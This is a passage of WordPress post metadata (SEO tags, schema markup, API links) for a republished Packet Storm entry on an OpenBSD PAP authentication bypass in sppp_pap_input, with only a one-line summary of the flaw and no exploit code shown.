sppp_pap_input:&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-64857","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 OpenBSD sppp_pap_input PAP Authentication Bypass_PACKETSTORM:223967 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=64857\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 OpenBSD sppp_pap_input PAP Authentication Bypass_PACKETSTORM:223967 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-22T18:40:11&#8243;,&#8221;description&#8221;:&#8221;OpenBSD suffers from a PAP authentication bypass vulnerability via a zero-length bcmp. All versions through 7.6 are affected&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-22T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-22T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 OpenBSD sppp_pap_input PAP Authentication Bypass&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:223967&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;n OpenBSD sppp_pap_input:...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=64857\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-22T14:36:17+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"16 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64857#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64857\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 OpenBSD sppp_pap_input PAP Authentication Bypass_PACKETSTORM:223967\",\"datePublished\":\"2026-06-22T14:36:17+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64857\"},\"wordCount\":3156,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=64857#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64857\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64857\",\"name\":\"\ud83d\udcc4 OpenBSD sppp_pap_input PAP Authentication Bypass_PACKETSTORM:223967 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-22T14:36:17+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64857#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=64857\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64857#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 OpenBSD sppp_pap_input PAP Authentication Bypass_PACKETSTORM:223967\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 OpenBSD sppp_pap_input PAP Authentication Bypass_PACKETSTORM:223967 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=64857","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 OpenBSD sppp_pap_input PAP Authentication Bypass_PACKETSTORM:223967 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-22T18:40:11&#8243;,&#8221;description&#8221;:&#8221;OpenBSD suffers from a PAP authentication bypass vulnerability via a zero-length bcmp. All versions through 7.6 are affected&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-22T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-22T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 OpenBSD sppp_pap_input PAP Authentication Bypass&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:223967&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;n OpenBSD sppp_pap_input:...","og_url":"https:\/\/zero.redgem.net\/?p=64857","og_site_name":"zero redgem","article_published_time":"2026-06-22T14:36:17+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"16 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=64857#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=64857"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 OpenBSD sppp_pap_input PAP Authentication Bypass_PACKETSTORM:223967","datePublished":"2026-06-22T14:36:17+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=64857"},"wordCount":3156,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=64857#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=64857","url":"https:\/\/zero.redgem.net\/?p=64857","name":"\ud83d\udcc4 OpenBSD sppp_pap_input PAP Authentication Bypass_PACKETSTORM:223967 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-22T14:36:17+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=64857#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=64857"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=64857#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 OpenBSD sppp_pap_input PAP Authentication Bypass_PACKETSTORM:223967"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/64857","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=64857"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/64857\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=64857"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=64857"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=64857"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}